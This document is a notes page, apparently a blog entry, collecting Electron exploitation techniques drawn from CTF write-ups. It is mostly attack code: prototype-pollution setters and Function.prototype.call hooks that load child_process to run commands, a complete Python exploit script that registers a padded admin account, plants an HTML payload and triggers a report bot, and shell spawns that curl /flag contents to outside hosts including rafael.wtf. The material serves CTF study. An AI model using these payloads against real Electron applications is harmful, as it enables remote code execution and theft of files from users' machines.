Skip to content

Categories

Electron

https://github.com/maple3142/My-CTF-Challenges/blob/master/HITCON%20CTF%202023/Harmony/dist/client/electron/preload.tshttps://github.com/maple3142/My-CTF-Challenges/blob/master/HITCON%20CTF%202023/Har...

Created

Updated

2 min read

Reading time

1 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

hooking a set/get

https://github.com/maple3142/My-CTF-Challenges/blob/master/HITCON%20CTF%202023/Harmony/dist/client/electron/preload.ts

    promptResponse(response: string) {
        electron.ipcRenderer.invoke('prompt-response', {
            response
        })
    },

https://github.com/maple3142/My-CTF-Challenges/blob/master/HITCON%20CTF%202023/Harmony/exp/index.js

Object.defineProperty(Object.prototype, './lib/renderer/api/ipc-renderer.ts', {
    set(v) {
        console.log('set', v)
        this.module.exports._load('child_process').execSync(${JSON.stringify(CMD)})
    }
})
api.promptResponse('')
Object.defineProperty(Object.prototype, './lib/renderer/api/ipc-renderer.ts', {
    set(v) {
        console.log('set', v)
        this.module.exports._load('child_process').execSync('touch foobar')
    }
})

Research about electron exploit

https://i.blackhat.com/USA-22/Thursday/US-22-Purani-ElectroVolt-Pwning-Popular-Desktop-Apps.pdf

TETCTF 2024 X Et Et writeup https://hackmd.io/@Solderet/HJ52F9496

        Object.defineProperty(Object.prototype, 'x', {
            set(v) {
                // use existing id
                this.module.exports._load('child_process').execSync('/flag > /tmp/aecd5409-7936-4aab-9955-347753d92284.html')
            },
        })
        const origCall = Function.prototype.call
        Function.prototype.call = function (...args) {
            if (args.length == 4){
                window.pwn = args
                // __webpack_require__
                args[3]("x")
            }
            //console.log(this, args)
            return origCall.apply(this, args)
        }

author wu

since contextIsolation: false and sandbox: false in NotificationWindow, object/func are shared, so you can modifying builtin functions and hook your rce code into that

import requests
import sys,io
url = sys.argv[1]
s = requests.session()
def signup():
    i=1    username = "admin"    padding =" "    password = "admin"    repassword = "admin"    username=username+padding
    data ={"username":username,"password":password,"repassword":repassword}
    rp = s.post(url+"/signup",data=data)
    while "Username already exists" in rp.text:
        i+=1        username="admin"+padding*i
        print("try reg as user: '"+username+"'")
        data ={"username":username,"password":password,"repassword":repassword}
        rp = s.post(url+"/signup",data=data)
    return [username,password]
def login(username,password):
    data ={"username":username,"password":password}
    rp = s.post(url+"/login",data=data)
def create_ticker(title,des,file_content):
    file_content = file_content
    file_object = io.BytesIO(file_content.encode())
    file_name = 'sample_file.html'    files = {'file': (file_name, file_object)}
    data = {"title":title,"content":des}
    a = s.post(url+"/ticket",data=data,files=files,allow_redirects=False)
    return a.headers["Location"].split("/")[-1]
def report(id):
    a = s.post(url+"/report",data={"id":id})
def get_flag(id):
    a=s.get(url+"/tmp/"+id)
    print(a.text)
username,password=signup()
login(username,password)
id_flag = create_ticker("a","a","")
rce = "/./flag* > /tmp/"+id_flag
poc = """<script>const orgCall = Function.prototype.call;Function.prototype.call = function(...args){    if(args[3] && args[3].name == "__webpack_require__"){        const __webpack_require__ = args[3];        var cc = __webpack_require__('module')._load('child_process').exec('"""+rce+"""');    }    return orgCall.apply(this,args);}</script>"""id = create_ticker("a","a",poc)
redirec_title =f"""<meta http-equiv="refresh" content="0;url=file:///tmp/{id}.html">"""rp_id = create_ticker(redirec_title,"a","a")
report(rp_id)
get_flag(id_flag)

Hooking into child process who traped into console.log

<script>
Object.defineProperty(Object.prototype, 'spawnfile', {
    set: function(v) {
        if (window.s._handle){
            window.Process = window.s._handle.constructor
            window.process = new Process()
            process.spawn({
                file: "/bin/sh",
                args: ["sh", "-c", `curl "${location.href}?x=\`cat /flag\`"`]
            })
        }
    }
})
const origCall = Function.prototype.call
var x = 0
Function.prototype.call = function (...args) {
    if (x == 0){
        window.s = args[0]
    }
    x++
    return origCall.apply(this, args)
}
</script>
let y = console.log

console.log = (x) => {
  if (x.spawnfile) {
    y('working', x)
    let z = x.spawn({ file: 'bash', args:['bash', '-c', 'curl rafael.wtf/$(cat /flag)'], stdio: [0,1,2] });
    y(z)
  }
  y("hooked", x)
}

window.dispatchEvent(new Event("load"));

Electron writeup

https://nolangilardi.github.io/blog/2024-0xl4ugh-ctf--ada-indonesia-coy/

0xl4ugh CTF 2024 - writeup | tchen's blog.

Categories & Topics

This note is categorized under the following topics. Click on any category to explore more related content.

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.